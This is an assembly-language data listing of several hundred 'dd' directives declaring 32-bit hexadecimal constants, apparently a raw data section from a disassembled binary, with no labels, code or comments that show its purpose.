dd 2DE62CE4h, 4557CE7Ch, 7FF8B6AEh, 0D4F4DA96h, 0B2CE8D28h
dd 0B550AEA9h, 175140E7h, 0D01BEADCh, 3E7A20B7h, 2DEFBE17h
dd 0FA05ADC4h, 0E100A35h, 11654486h, 569D2751h, 204763A0h
dd 5BF74265h, 8687DDA1h, 9CD73C0Eh, 97402390h, 0C59482F1h
dd 85EF6B80h, 0C66E9E7Fh, 587D3D9Dh, 89BED5CCh, 0A52E352Fh
dd 33672420h, 636D8D5h, 207F9A47h, 7E100D98h, 6DBF0E6Fh
dd 0EE9E9F89h, 2C4BF691h, 6B8840C9h, 0CD08D38Dh, 272A9CB7h
dd 7655C8F4h, 0D0F9C4ADh, 44ABBF50h, 0D0BDC2C5h, 0DA2502BCh
dd 325A71EEh, 4A5B40h, 0C61DE4CEh, 0AF1F0C19h, 261C7219h
dd 0B4995D08h, 575858DAh, 435C002Dh, 5B2727A6h, 86FC0DC2h
dd 1E043C22h, 7073F983h, 0A450B9DDh, 374D3D9Ah, 516EDBCBh
dd 7B7191A2h, 127237CDh, 2A454788h, 296F9ABFh, 0C6431E34h
dd 2E78ECE7h, 0ED0408F1h, 139C3506h, 9DAABA4h, 4CB2AFCFh
dd 37A25ADFh, 252ECBA7h, 0E82FDD34h, 8DE4179Ah, 312123D0h
dd 924EF5B9h, 2E5586A1h, 491EEBA9h, 23C0A1D4h, 121428CDh
dd 89D8C156h, 8A729082h, 24D7A2EBh, 69714830h, 0CBA2E455h
dd 0ECF35625h, 9888F347h, 0D5868C78h, 4983EAC8h, 1E7A0E43h
dd 0EDFC9440h, 0CF6AA300h, 494F3573h, 9F4F84C5h, 6F7DF058h
dd 0AA5A7F3Ah, 0B4AA2680h, 0D1A0FADBh, 0F37E2E05h, 0AE4CFA9Ah
dd 0A4BE40B5h, 0E91034C2h, 18F0B75Dh, 2A0850CAh, 79B1964Bh
dd 88D51D07h, 0D697113Fh, 0D7E73036h, 4E0AD4E5h, 9EE36B75h
dd 19E9864Ch, 370A174Dh, 4C7FADBh, 3217F0A2h, 3B06E0DDh
dd 4A2BE441h, 16607F7Ch, 0B4DE83B6h, 6A0356CDh, 0FC30E796h
dd 69052905h, 0F2881E2Ch, 0EB92A96Dh, 9FC3799Fh, 8AB166FEh
dd 0BBD98212h, 0EF77D6F8h, 4C60FA56h, 55B9E990h, 0A9E3AF72h
dd 0F2E5BCA8h, 0C119467Eh, 13C0EFD9h, 0A31144AEh, 26D53514h
dd 0ABA6EEA0h, 0AC947AF8h, 7374D930h, 51C09C12h, 0EF12FCCAh
dd 6E13C994h, 0C14ADADDh, 397689D9h, 180603BEh, 0F627D7E9h
dd 0F2AE296Bh, 0C5D21B5Eh, 0F00135C3h, 311BE623h, 1CBE6316h
dd 97B166Bh, 54616D2Bh, 0C3B30A20h, 0F6BE587Dh, 22873CE5h
dd 10217ED3h, 737A86Fh, 43215001h, 7E7FE506h, 31A2FD6Bh
dd 9D31A69Fh, 19E6C527h, 916643D2h, 2A0E6925h, 4718B7C4h
dd 771EB85h, 44074B5Fh, 3D5D00C6h, 9276160Dh, 1A863B01h
dd 45616105h, 9DE0F69Eh, 8D50F059h, 0A22769AAh, 5947233Dh
dd 0B56CE5B0h, 9E7D6467h, 0CC044138h, 6A4DC479h, 7BD0006Ah
dd 95909DFh, 0CB0C35B1h, 77316D6Dh, 0A407DB3Dh, 11ABEF3Dh
dd 98ABE20h, 78482C79h, 84FABDB8h, 0A2C83C46h, 62A7D092h
dd 84A6494Bh, 0ED910D48h, 0A769A875h, 3031AC88h, 0CF0A1EB8h
dd 572758BDh, 0C625F69Dh, 54C9C48Dh, 7DD02D41h, 3D9F8D8Dh
dd 0C75B189Bh, 0E19F9D14h, 0D52322D5h, 0A9AFD2CAh, 0EB6F5A4Fh
dd 0AA1BA773h, 0ACCCDFE7h, 0E9777DB1h, 324D0055h, 949C825Ch
dd 0B2D36B67h, 7771367Dh, 0DC767F78h, 784C4767h, 0C9F1456Ch
dd 99B20B9Fh, 90F4157Eh, 7F225B86h, 56D24E09h, 0F58EADh
dd 6E9D044Eh, 0ABF7F6h, 0E70979A0h, 0D73342ACh, 3D56E0B1h
dd 0BF357002h, 84389AD8h, 0EB95A2DBh, 0F1555688h, 139A89D9h
dd 0B13E31A8h, 8C5CBD0Eh, 0CCD73A7Fh, 0C6EE5179h, 0C7F48169h
dd 0A264CF59h, 0CEA0E7CDh
dd 9D3FC302h, 0E02C4AEh, 24286DC3h, 0A13F7AF0h, 0B8F2808Dh
dd 5F13979Fh, 0A21F70B9h, 0BDA4E6C3h, 148C1681h, 32E3F6D8h
dd 9E0869D6h, 0FEE13F14h, 58F49AFFh, 48341F3Ah, 0C5DF9815h
dd 33E02FEEh, 0F7D1A73Dh, 48115749h, 0EA83A599h, 0C8AE8E62h
dd 69DD5CE4h, 5CB7ACE6h, 0A0694E68h, 32FBEFD1h, 0A023B05Dh
dd 0F801FF37h, 75FD463Ch, 836C73AFh, 0B67EAE5Fh, 0EE044419h
dd 72125B2Fh, 5874AD1Dh, 2A56DFh, 0E81DD38Dh, 2E629E6Dh
dd 74B6DCC0h, 1C3E48F0h, 37134275h, 2142A4ACh, 8C5AD79h
dd 44F40D1Eh, 27963A15h, 0CF89D494h, 4D2CCB25h, 48151991h
dd 21E1E7CBh, 0D430C347h, 94462424h, 334CCE18h, 0DEA3E41Fh
dd 0C17C360Ah, 37380A30h, 0B854F1E3h, 2F3DA8DFh, 2D1F5699h
dd 0EA253FD2h, 0EE434F6h, 7D84B4D8h, 516FA42Dh, 0D6B3F5D9h
dd 8D05C9BCh, 0D6E1164Dh, 5EE43967h, 0EDE94BAAh, 50E5EC63h
dd 4F0A00B3h, 0F4828987h, 365C29B0h, 0F85363A8h, 0FCFA28C6h
dd 105D3AD4h, 0D80553A7h, 0BEF18030h, 0D367714Dh, 0DAAD7601h
dd 0AB91B8EBh, 0C252340h, 6565DC2Bh, 0DAD463h, 0CDFA5A29h
dd 9AC6ADBCh, 905A6522h, 0AE77E334h, 0C94944D9h, 0B1671F24h
dd 0D15F0E34h, 498A9AFBh, 7AEFA9F4h, 26455B5h, 71128856h
dd 0C92A20h, 0FC773CB4h, 9F540335h, 0CF33F775h, 17CC1956h
dd 7377D9E0h, 0CC429C9Eh, 3A1F99B7h, 9F62A7B6h, 769CE044h
dd 2CF6E18Ah, 3D74ABF5h, 0DA1E033h, 29553E4Dh, 11B56502h
dd 0E3DA576Ah, 82DD2874h, 7C358632h, 8E98F847h, 0BD69695Bh
dd 38DDF77h, 0BE4D3981h, 8A45FFDEh, 0A8166450h, 3835D517h
dd 21A44C92h, 0D309B2CCh, 2068EC39h, 0F4D85B29h, 3A6E9B48h
dd 32870F6Ah, 792EBCA4h, 0BD564B36h, 9A8DA2EEh, 76BE5E00h
dd 9C81742h, 0BECE4DB5h, 88365FCEh, 20331A5Dh, 0CDB2C68Bh
dd 55613946h, 0FF7EDA1Ch, 24E52EFCh, 0C068EE10h, 0B61629D0h
dd 20F34F35h, 5E6D5679h, 0D74940E5h, 0D2BE1CEAh, 9B15443Bh
dd 9866162Ch, 7ABC19CEh, 3BD1550Bh, 0F0E7568Ch, 0F575C96Eh
dd 21C60D7Fh, 408CCD38h, 279CB9C9h, 2970A45Bh, 763AFFD6h
dd 9D2D10EFh, 35E3E658h, 0A27E9794h, 2D6BEDD3h, 86E4F6E5h
dd 307DA1F8h, 0DE9EC2B8h, 3E481E9Fh, 5AF55E39h, 9E73A9BCh
dd 0AB9BC91Bh, 0C420730Eh, 0BD5F21C7h, 69CA71Bh, 0ABA319BFh
dd 24EBD6D0h, 768ED831h, 762C1E40h, 0E4E8B650h, 112972FFh
dd 0E25CCBE6h, 0FFB7CCF8h, 3645D3D1h, 4E022C7Eh, 0E58237E7h
dd 0CB47C3C2h, 2C944A62h, 865AA46h, 0DEF6A8E4h, 0F8302129h
dd 38C77F77h, 4AB24DD9h, 76A248Dh, 78D743BEh, 9294A451h
dd 89798861h, 9BA88D90h, 751434C3h, 6E3BA4E3h, 3D95FCEEh
dd 20CFD66Eh, 2CB98950h, 7ED849F9h, 0B6D77406h, 7EF3F4E3h
dd 0E3A2F818h, 0A54A1995h, 0AE3170EFh, 0C57519FDh, 0D2BEB212h
dd 1DCB2547h, 39251074h, 0BA2A71EFh, 4E791CC9h, 8EA45C79h
dd 8737C7D0h, 0B918122Eh, 5E6E4A5Ah, 0F558D283h, 0E94D6DDAh
dd 0B8690A70h, 759D5D9Ch, 0C78A8E61h, 0B73D08CDh, 0C8EC0605h
dd 7C420ABCh, 0FC3333CBh, 0FEAB9A79h, 0E45585D6h, 0AC4BADD7h
dd 950EF8C7h, 87AB07DFh, 0AA05A4CDh, 5602AE9Eh, 0F5023876h
dd 2435483Eh, 49E64211h, 2909E724h, 21DD4FD3h, 27AFFC7Eh
dd 73839848h, 3306C328h, 32796E4Ch, 5001C24Ah, 957E9D4Dh
dd 0CF7123A0h, 72A5D55Ah, 19AF4FE7h, 0B8F9DF6h, 3605BB43h
dd 4F07C251h, 0E9EF9C6Eh, 0FA5E7F54h, 908A025h, 0F8ABABBAh
dd 872D82E8h, 0DC076D28h, 4BE9A797h, 0F5758E4Ch, 4B084AEBh
dd 3B83C9AFh, 85421AFEh, 34352C53h, 65EAA944h, 5CCF77E8h
dd 0A563B081h, 0F41B15BDh, 1047B129h, 5FAEA4C7h, 51313BFBh
dd 21006FDAh, 6D8838B5h, 0B7A1AB13h, 9A246992h, 173A5A09h
dd 0C173DC12h, 0CEA09AEh, 7F5B5ED6h, 56C56F63h, 2A3EF89h
dd 0FAA08F11h, 0B88E298Eh, 682E24D0h, 6967E74Bh, 9E9382C9h
dd 0B6A1AEE4h, 41610ADh, 82C214Ah, 31A3CC13h, 465F831Eh
dd 0C6C113FCh, 12EBAEEEh, 0CE11DE35h, 0D2190DA2h, 71F3BB0Eh
dd 293FABCAh, 88AD7F75h, 8337C2C3h, 28B26C9Ah, 2609AA9Fh
dd 0A730F293h, 0EAECFF11h, 2BB54236h, 18910275h, 32E497E2h
dd 2689B717h, 44D558D3h, 0FCEB39B3h, 64D2318Ch, 9169F109h
dd 3D76C599h, 0A4DFBF33h, 0E03BBC5Ah, 2AF8CEC0h, 0DE413928h
dd 0B5B47B04h, 0E573E9C7h, 0D0C459DCh, 0B3CE6722h, 0CDEBA30Ah
dd 63D2DAFDh, 0CF210C65h, 0A075FC97h, 0F4283746h, 4BDF3A46h
dd 74D160FDh, 0EA888104h, 20A4D1CCh, 0FC013ADFh, 3EC85204h
dd 327B46D0h, 88C70697h, 0B34C97FEh, 2B3995F7h, 923AC20Dh
dd 1731AFFCh, 6C0DBCD4h, 0D131B819h, 0C708FB61h, 6763DEEBh
dd 0D4A4C545h, 0BD9150F1h, 93E2C90h, 0B87AD5E3h, 5577B208h
dd 0E3EA46EDh, 203F5E95h, 91C5D536h, 0CFCC960Fh, 0E744CC6Ch
dd 0DC05373Dh, 6C87783Fh, 4D5AD752h, 0FD37D807h, 6737C412h
dd 93DA9E5Ch, 5BBD9F7Dh, 744BC207h, 0A1F8BA6Dh, 46FC651Fh
dd 40284FC4h, 58D41E19h, 2E6C9B79h, 0C429F732h, 7DC53FB2h
dd 39981C6Ch, 9E28891Eh, 0BE119BDFh, 0D7F626BEh, 22C8237Fh
dd 0BCECF47Fh, 65DC3398h, 9EADC753h, 0D6247281h, 880CB200h
dd 6CA26266h, 9FF02E7Fh, 0A42A5DBFh, 6F37EE14h, 5FDD3321h
dd 0ECBAF6F3h, 4B165D65h, 31D32195h, 706B772Fh, 95E90EE5h
dd 11FCF07Ch, 389111D4h, 2E9DC683h, 28020E4Bh, 708981DCh
dd 7D41C891h, 9C1BCA40h, 0BA2F426h, 110336CEh, 7B38C272h
dd 88EEF7C5h, 5EED8C72h, 710089A7h, 33C20381h, 519A8A42h
dd 0E3C75FBFh, 0D33A0935h, 0D6A7AC91h, 364EF9DEh, 0A94F1FFCh
dd 181EEB90h, 0C0EEF473h, 0E0C0C871h, 6E2EFE70h, 8498B913h
dd 0D23AADBBh, 0A77E1B05h, 47D89106h, 0F1BA6A2Ah, 5E25D884h
dd 431D65DCh, 44B444E7h, 0A9F2871Fh, 18C8AE93h, 0FAA72BD1h
dd 0A186D8BAh, 0A124D314h, 0BC8091E0h, 0EC201C52h, 7F28E0ABh
dd 4B6DB0BFh, 16E84A73h, 0B9D349F0h, 5592874Ah, 8E60ED01h
dd 21C4646h, 0F39E244Eh, 16E3B43h, 0E86BF430h, 0D2771ED8h
dd 0CBDD0013h, 7F59E7EBh, 865E4CE5h, 6200A777h, 0EBEA0D79h
dd 0C13AF5Bh, 0FDB1D03Eh, 632AADFBh, 68AC2F85h, 2437E5h
dd 0C5900C51h, 4EF4B56h, 4680733Ah, 0A0C34B5Bh, 0D14DD9F9h
dd 6A0CDFDDh, 0CFE5E797h, 450221F4h, 14417076h, 0D4934EA9h
dd 0F2310C8Ch, 7D4F6272h, 0B8D958C6h, 21047AD0h, 51131888h
dd 7E32A7DFh, 0E7A3014Fh, 93F511FDh, 0EDD6AED4h, 30CC00BAh
dd 0A9A4A04Fh, 530340C2h, 0ACDBD46Ch, 0EC28869Dh, 3501D678h
dd 34E3E50Dh, 233D9219h, 0B4274660h, 0BD57F4D5h, 7BDBE9D2h
dd 8686B82Fh, 6A47BFA6h, 0A7E75AE0h, 8F11B4C0h, 497CEA29h
dd 7480B19Ch, 0FDB3429Bh, 77FD3148h, 0DECB5A5Eh, 96AA20D5h
dd 0D8155F1h, 74BD92BFh, 9B7402C8h, 0D53AAF2Eh, 114149Bh
dd 0CABA064Bh, 73FC2342h, 349CDE4Dh, 332FA0Dh, 38FC3BF8h
dd 0FB90E2CAh, 0BDC4BE1Fh, 6BF01392h, 6A3B0384h, 67CDFBh
dd 0D9E90C99h, 0B69CE36h, 44D515C5h, 29CB01BFh, 0B7752FDEh
dd 0CC83401Ch, 2EF39B2Fh, 394D7ED6h, 0C97589B8h, 64584702h
dd 87694CA1h, 50FFC272h, 0C95AD044h, 9C4B06CEh, 99015BE2h
dd 93BBB5E1h, 0E528BEEDh, 0D35ECDB2h, 7D3635A0h, 0B2B8CD03h
dd 0B6A1FBCEh, 8C67B830h
dd 8D550ED4h, 2AAE6CC4h, 9FCA824Eh, 0CE55037Ah, 59668F9Eh
dd 0AFD28B66h, 9ACF91C5h, 0A4AB4F09h, 0D69F2Fh, 5245784Ch
dd 4A03EB91h, 30D124E9h, 0EA773FB7h, 4DE4B148h, 0C41B437Ah
dd 5A935DEEh, 0EBBC35A7h, 2B477CDAh, 0AA63D02Fh, 0CD2CFAA7h
dd 2CE22E93h, 0CDB426D1h, 0D4693A8Fh, 96B7F20h, 8EBFC15Bh
dd 0FA08B537h, 8B055208h, 3526E21Eh, 0B82CC04Bh, 6EE71590h
dd 408BAC3Bh, 0A47147A0h, 0AF1273A3h, 0BC653A89h, 828BA158h
dd 0AEEA1755h, 8455C86Eh, 0F1DE33B3h, 0F34B1E6Fh, 9516312Dh
dd 81F78B0Ch, 0B8DE4B19h, 0A673AABCh, 6411630Bh, 0D341E623h
dd 0BF3473CFh, 7997CA98h, 9CE62F5Bh, 7651F094h, 0C25C7ED1h
dd 0C1A31769h, 0F6B25AC5h, 0BD421EAFh, 9033F59Bh, 3A6FF3C2h
dd 9A8CD257h, 0ADCFDF53h, 0B1A5523Dh, 0CC2A8C3Fh, 1802456Dh
dd 0D7BEE6B2h, 4F9E0A0Ah, 0D6197A93h, 0DD25493Dh, 0A4997262h
dd 1B2526EFh, 8B365EBBh, 0C53F80A5h, 5928662Ch, 319C621Fh
dd 0A2EA089Bh, 0D6D029C2h, 4B336171h, 641B773Ch, 2C583017h
dd 3CB8AF39h, 6D7A2C9Eh, 8ED08DDEh, 7CCB8389h, 68ED0CA7h
dd 0BCB82E9Bh, 8D96A808h, 0F2EAB429h, 0D3D991D8h, 0DF9DD89Ch
dd 0F11EEE63h, 74B5EFEAh, 6721D0A1h, 0C0EB9613h, 0B22E96FFh
dd 6FEE1493h, 0FF68C674h, 5D25A82Ah, 7CF28DBh, 99B852B0h
dd 3FDAE30Bh, 0E1BE0EACh, 0AA31A31Ah, 0F9E4B335h, 1EC86C07h
dd 9815A99Ah, 3F159557h, 276B51D4h, 1870D598h, 0E362DD87h
dd 2FD7803Bh, 9B933E88h, 886AB8F2h, 0D35BA66Ch, 74F7745Ah
dd 0AB34D7D7h, 0A73DF000h, 472AACF5h, 0EED8A69h, 1E1179EFh
dd 4A0D57AFh, 28D84FB7h, 4CE589h, 790A6441h, 0D7945EEDh
dd 0AAA4B1D9h, 3853DF88h, 33B66FF7h, 0B464C9Eh, 2470DEE6h
dd 3949DF14h, 75185535h, 39091C3Eh, 5AB87BC5h, 15F99887h
dd 0CB3A205Ch, 55C06F9Ch, 2B2C3BD7h, 83755AD1h, 3B10844h
dd 0FBC9E0D5h, 0BB0D133Fh, 0A641C2FFh, 0D5614E70h, 358BDCAFh
dd 2A083056h, 0C4F63E57h, 3F8A539Fh, 0E1857AFFh, 1D4413C5h
dd 0C2D64879h, 0D0A60971h, 0CC658B2Dh, 8978EC00h, 5FB0C879h
dd 0D4CDE7ABh, 6BD13884h, 0B9ABBE8Ah, 0BB449F15h, 0E4CBFCF8h
dd 0E4CE4293h, 747391F3h, 1817732Bh, 0D50F4F40h, 571EB0B4h
dd 0C8523B66h, 5144CA1h, 1BCA6A1Bh, 697DD797h, 0CF739156h
dd 0D3CDE723h, 0A636046Ch, 29DC7D0Bh, 3F5C601Fh, 0FD38CA59h
dd 0B91D07D0h, 39D2BC5Eh, 7E9F96F9h, 0E4C47B00h, 4564BAD8h
dd 0E1C7E0FFh, 59781052h, 5E8B5BB5h, 609ED790h, 7368D25h
dd 4CA3E881h, 0B732D997h, 8D760AD0h, 0C9EB5D95h, 0BE09719Ah
dd 0E17DD493h, 8C95E465h, 57BAB3E8h, 3A379B99h, 0D2AAFDC6h
dd 6F53443Dh, 2C7BE2AAh, 50FF444Bh, 0E1C5EFB3h, 2E288C25h
dd 0A3C2C507h, 11F9415Ch, 6083686Ch, 31665C71h, 8844520Dh
dd 72351546h, 73BFCADAh, 0FAE2173Bh, 0BD1932AFh, 3128CA40h
dd 0B225AF66h, 3680159Bh, 6F8B3857h, 0A642B160h, 0A81F8EEEh
dd 83633534h, 4586D57h, 16AF0B88h, 3221FF03h, 0F283B761h
dd 0AAF61344h, 601AB4Bh, 0B7D957F2h, 6403A9F1h, 2000080Ah
dd 0AD062857h, 8245D606h, 7E4CB9ACh, 1E624867h, 0E5A1106h
dd 89AB94C7h, 0B6F9230h, 99861200h, 0F69FA215h, 0BA62870Fh
dd 37CAA580h, 3C9BF7FBh, 0A1DC1A07h, 59B32203h, 0FBB37510h
dd 0D96087ADh, 2C7011F6h, 0EC30B8C5h, 20771EEBh, 689CB7E7h
dd 0F6AD992Fh, 3F35A5ABh, 0B95EC49Bh, 514645E2h, 0B2FCDE47h
dd 200B921Ah, 19679738h, 0A4A962FAh, 5BF2C90Ah, 58F78CEFh
dd 8B4A044Ch, 48AEEAAFh, 6322F895h, 6CC6D2Ch, 3CB64641h
dd 2D1D91F7h, 0C3274Eh, 0D2F2F8ABh, 34FFF0F7h, 0E6CA695h
dd 25CE4D56h, 973692FAh, 2CBFEE54h, 0F6379633h, 5C648577h
dd 2F2306C2h, 56F42A9Ch, 3425BCF3h, 0B3035455h, 1409D5D6h
dd 30B73D69h, 732FCDCFh, 6185187h, 5F0B8485h, 0ACEDADh
dd 0D6A0526Dh, 55A5AA0Eh, 0F6169067h, 2E85A4FBh, 0C3F6BB49h
dd 7166C6A1h, 0B4CBEDD6h, 6E8560A0h, 9A9416Fh, 97D7EBF2h
dd 0F916E7B3h, 0F83ADF9Eh, 2F6E4CAEh, 2F12F4BCh, 0D0D77EA4h
dd 0C4AD3045h, 82EA5AACh, 1DB0B552h, 0D874C442h, 9F8D64FFh
dd 0F9B7B73Dh, 0D1048497h, 0B30B85E6h, 8EE21B1Eh, 0D3FC411Ch
dd 0C9CAAF73h, 3C320300h, 0D5F6EDF6h, 0CCE7B62Fh, 96EC7ECDh
dd 50B0C5A8h, 1345173Eh, 0B96E49D6h, 0EA68009Ah, 288DCF9Dh
dd 581020Dh, 57CAC018h, 0A90BE537h, 358BE85h, 4393A727h
dd 15DC9C75h, 0F8752D51h, 1DEAA91Eh, 9CD47AFCh, 1792BFA5h
dd 0DFAEB839h, 296E5690h, 439FDBFCh, 9732E986h, 4339974Ah
dd 38590Dh, 9D351D3Eh, 8E8098Fh, 0C2219D42h, 270654B7h
dd 622DA556h, 0EECD7C9h, 4B0841A1h, 9469F285h, 23D8EE9h
dd 8660EDBAh, 0F51F96CCh, 87441F0h, 2A76FF6Ah, 53B9E98h
dd 0A142AEF2h, 18A9E8BAh, 4E15CC95h, 6A2B30B1h, 98D8ACAEh
dd 0A9F56407h, 0C10F2570h, 7AD15387h, 0FD730BF3h, 62E1B01Ch
dd 0AFFB05FAh, 134E6F5Bh, 18E25741h, 0C19DF033h, 0CC94374Fh
dd 0CE165D20h, 0DF0473A2h, 45FEA0B4h, 0BF69424h, 0E8BF9CB8h
dd 9DA6F4E5h, 47D3F460h, 0D207FE8Dh, 5B7E2D1h, 0C2342A27h
dd 37B9B50Bh, 47801D7Dh, 90F301E5h, 0C0F30059h, 0AE41B2EBh
dd 0DB41DD5h, 0E3765846h, 0F36F20CBh, 0C1E1A236h, 50CCE909h
dd 0CDE20778h, 37AA4B44h, 3925B19Ah, 790BC7BDh, 0B0A6B912h
dd 7BCBA897h, 0AF25936Dh, 0FA1FC70Dh, 73E32E99h, 0A52BC92Ch
dd 45DEAB41h, 176877EFh, 52FE4DC9h, 68826341h, 995FA69Dh
dd 8C428AAEh, 8FDD90DFh, 2493C846h, 0DE6DCA5Ah, 0B44822F2h
dd 0AC98BE9Eh, 4CAB78F4h, 0BC637726h, 0FCE5EFD9h, 0D30B937h
dd 1318B97Ah, 9858E06Bh, 0D52AA97Dh, 96A6B325h, 28AA7E91h
dd 48CAAB2Dh, 35C9912Dh, 318B5E1Eh, 2AF3EE55h, 0DD18480Ah
dd 699B78B3h, 0FB0E99F7h, 0D728E8D6h, 0CF89AE71h, 5D958C43h
dd 0BE52C4B4h, 1D806EB3h, 7D5BEE8Eh, 831120A8h, 0EADC583Ah
dd 0FEE8A942h, 0C3E052D7h, 0C7FA5A74h, 0DEB19h, 0CFF86746h
dd 47AF2228h, 0B8D61A55h, 0B9EC959Bh, 0F941002Dh, 4621C454h
dd 0CFEC5F90h, 6091471h, 79A0810Ch, 96012E40h, 48FFE983h
dd 5D8F1BDCh, 12372144h, 0F3009E95h, 0DF57F370h, 1532B24Bh
dd 29027501h, 0EE201E33h, 0A9CD8841h, 6CCD86DDh, 543344D2h
dd 44A0DEE6h, 8A9D6CE4h, 5E35AD80h, 7BA8DA04h, 0B1BF994Fh
dd 56326F67h, 141954E1h, 0A34DF076h, 2A8B369h, 0B5A2D7C6h
dd 938B0981h, 156DD612h, 0C03EF152h, 62238F2h, 1F8D040Ah
dd 31C3C29Bh, 0C87EF498h, 0F4C500DCh, 85582EF2h, 5CDCC067h
dd 0BC1280CBh, 8B770Fh, 0F9032B16h, 136EA0D9h, 0DE7AEF5Bh
dd 472ACB47h, 0F6A89009h, 74D1A9D0h, 0D234A4FDh, 2D75FDBh
dd 0FF102E78h, 1B9BEB09h, 125FC950h, 8DDEA114h, 0EE29FFFFh
dd 0F408D9DAh, 7DA66455h, 7C264D25h, 88CD1D74h, 7B35A1C2h
dd 0E394B4B6h, 1F51E287h, 0F027244Ah, 0AA1E228Dh, 8DC88F55h
dd 276AEC65h, 12A7821Dh, 0A7DA423Ch, 9B534454h, 67E00ED0h
dd 0C3909901h, 0C0A8C68h, 77CD93D3h, 9CF9886h, 0DEFCDBAFh
dd 0BB228857h, 0F008AAA0h, 8F34EA29h, 804AAF95h, 227BDBEDh
dd 0E4E16117h, 1B20CE4Dh, 674FE177h, 3D2A5BA6h, 4B28945Dh
dd 3BE61209h, 442DE5F7h
dd 5AB687D9h, 856C7DEEh, 7C535A66h, 10A34ECDh, 0A1E13727h
dd 4AFF9EF2h, 53C2E4C4h, 9D13CD9Bh, 12298751h, 18E2057Bh
dd 0D9275289h, 0E0947EB3h, 0D70CE6A9h, 0EBA5C4ACh, 0A97DF990h
dd 0A2823C2Ch, 55E6050Dh, 3C8CD28h, 0F1B8D92Bh, 35A3EC33h
dd 0AD627659h, 18F468BBh, 71B8FF1Dh, 5AB6867Ah, 38611372h
dd 193D4A21h, 2171085Dh, 22E699EAh, 63EEDDEBh, 0EBE58146h
dd 5D152097h, 8F2047E4h, 86B15535h, 6228B89Ah, 0F6613AE2h
dd 77F8EE2h, 96F60F41h, 8F03D0EEh, 3918AEDh, 24099203h
dd 0B66BC329h, 6D3078D1h, 4BC7B13Ch, 6B135A47h, 0DA5C0011h
dd 0D8AFBDC2h, 3F407BCh, 84C99B5Eh, 0F7AB663Bh, 8C083340h
dd 0B9F7D61Ah, 0A7FDDF19h, 5DFD041Eh, 0E1338330h, 98A6DC5Eh
dd 0F1559789h, 32234576h, 0A86BA105h, 0BE930364h, 0D2603B68h
dd 0E8541CA5h, 5B08B12Dh, 83BEEBF1h, 8FBB7646h, 0B2E0561Eh
dd 0D78F0E69h, 72230BE5h, 284A2B76h, 0D749129Ah, 61A681B0h
dd 9C1AAFC2h, 1DCEFED0h, 827B7EA8h, 37E467FCh, 2E4A24E8h
dd 0D59BD888h, 0ABE5C1BDh, 30DDAC43h, 0AAAE2B58h, 0B18FF975h
dd 0B07C8C48h, 73169BF2h, 0A4C5F97h, 782D28B5h, 49E5E990h
dd 10F615B4h, 4E006453h, 59CD6D8Fh, 89BED0C9h, 0EB595AE7h
dd 442D0036h, 0BE1E581Ch, 94CAF5E6h, 58803FB3h, 0DDD65274h
dd 226D63E7h, 75758353h, 9CEC1832h, 0D5E2D504h, 5A93568Dh
dd 0C318E2B4h, 0C54DC205h, 0BC099519h, 11554A18h, 0AFC9C0C8h
dd 0CA0E074Dh, 3E92EFEh, 7451CDC7h, 0A51FEF3Bh, 0D56B3E56h
dd 0A3972D8h, 0C59422A3h, 0DA9862AAh, 593A35B0h, 1925487Ch
dd 0AE83CE59h, 0E078E84h, 0D6C5FE8Fh, 0BD59B684h, 682F6064h
dd 53D1E64h, 0CE0A8E74h, 5873B932h, 0D7724263h, 831A8B61h
dd 0F2704E09h, 0B7739846h, 0D5C6DABDh, 11C8F75Eh, 59BA4EC3h
dd 0AB127056h, 1CBDBB66h, 0AD3D828Eh, 90DFE7A6h, 0EBEC7ADEh
dd 53CF5E29h, 20F960A8h, 28C57241h, 2A6309DDh, 8B6653Bh
dd 0C0577CCEh, 0C4646ABDh, 67748D0h, 6278A05Dh, 0E1477B0h
dd 0DB057E74h, 1C826253h, 22628D5Ah, 0BE817DB2h, 8A983087h
dd 0CD62A00Bh, 19F87D9Fh, 7567BF80h, 691FBC6Eh, 0CE07E021h
dd 63AF972Eh, 8242D473h, 0CACF2561h, 215B7F55h, 0EDCB9F68h
dd 9E5739A0h, 5CA903A4h, 0DB770546h, 3A770B0Fh, 80113496h
dd 0E7521CEh, 6D3E182Ah, 0F596C47Ah, 0DA2FA55h, 0D56FF56Bh
dd 36A28389h, 0B74C0518h, 0D3624B10h, 3932C88Fh, 5701040Ch
dd 2AB4A4C1h, 0AE72B908h, 66DC2364h, 627298C2h, 0BAFE367Fh
dd 3090C8C9h, 0F4C701EAh, 66606E8Dh, 0E2369123h, 2C37C9Eh
dd 0EFD0D1BDh, 9F999B65h, 0DD700902h, 3159D90Dh, 8178B003h
dd 755B2B7h, 999614CEh, 8FF57905h, 0A8933E81h, 86ECF12Bh
dd 7DDD0421h, 1B4C9F90h, 2B739E18h, 0E3EC694Ch, 0D0EDD9C3h
dd 6CCA915h, 754BBF77h, 0FFF13B01h, 0F388C001h, 99FA5AA5h
dd 0E48BE312h, 461A38CDh, 235C1266h, 0C97D4CD9h, 4E7DA0E0h
dd 231A52ABh, 384E0FACh, 9B5B53EDh, 1A2AB227h, 82E5BAEAh
dd 0F7132675h, 69C14A5Dh, 0B871966Ch, 6FCE203Bh, 92805E84h
dd 0DF667F86h, 8067F215h, 9BF64E83h, 42186C18h, 80AF62E2h
dd 0B952D39Dh, 976ECAEFh, 8F401E7Dh, 99972A91h, 0DF2024C3h
dd 2B4A98A5h, 73689A44h, 7D066A76h, 0AAFA2C2Ch, 3FACDC39h
dd 0A200C57Ch, 2417E985h, 2AD786AFh, 9108CD8Ah, 9F66F0E4h
dd 0DD95582Dh, 0D556AAE6h, 0DA1F2D91h, 0B32C04E5h, 0DC24163Fh
dd 0FC1E7019h, 0F1905E40h, 555EE724h, 0A28DF3B7h, 64D7EEB6h
dd 0BC647DAEh, 0E5F44573h, 65774E0h, 0C1B599E8h, 8096E9F8h
dd 0A5D89702h, 1B947CBFh, 88A41A5Ah, 623C5E11h, 0E27DF7B4h
dd 0F46DA7ADh, 0AC8B97C9h, 7B50319Bh, 0C3AD969Dh, 0FD527D9Dh
dd 92DDEB1Eh, 0CF30552Ch, 46B86BFCh, 3853777Ch, 0D287EE87h
dd 63D8D1F6h, 0AD2BBA05h, 0E40D1A84h, 0E9A03560h, 0C08B5AADh
dd 0DD30E3BEh, 9AC7072h, 2211C2BCh, 1A693EC5h, 0DCDE5594h
dd 9D83B02h, 0F4239D33h, 0B9EFAC04h, 0F60A803h, 691925A4h
dd 0F96CA9B5h, 0EC58C232h, 713492D9h, 69767224h, 9E28233Ah
dd 4CD06EDBh, 0C65B609Bh, 0CF792C3Eh, 9C523B7Ah, 3DD44465h
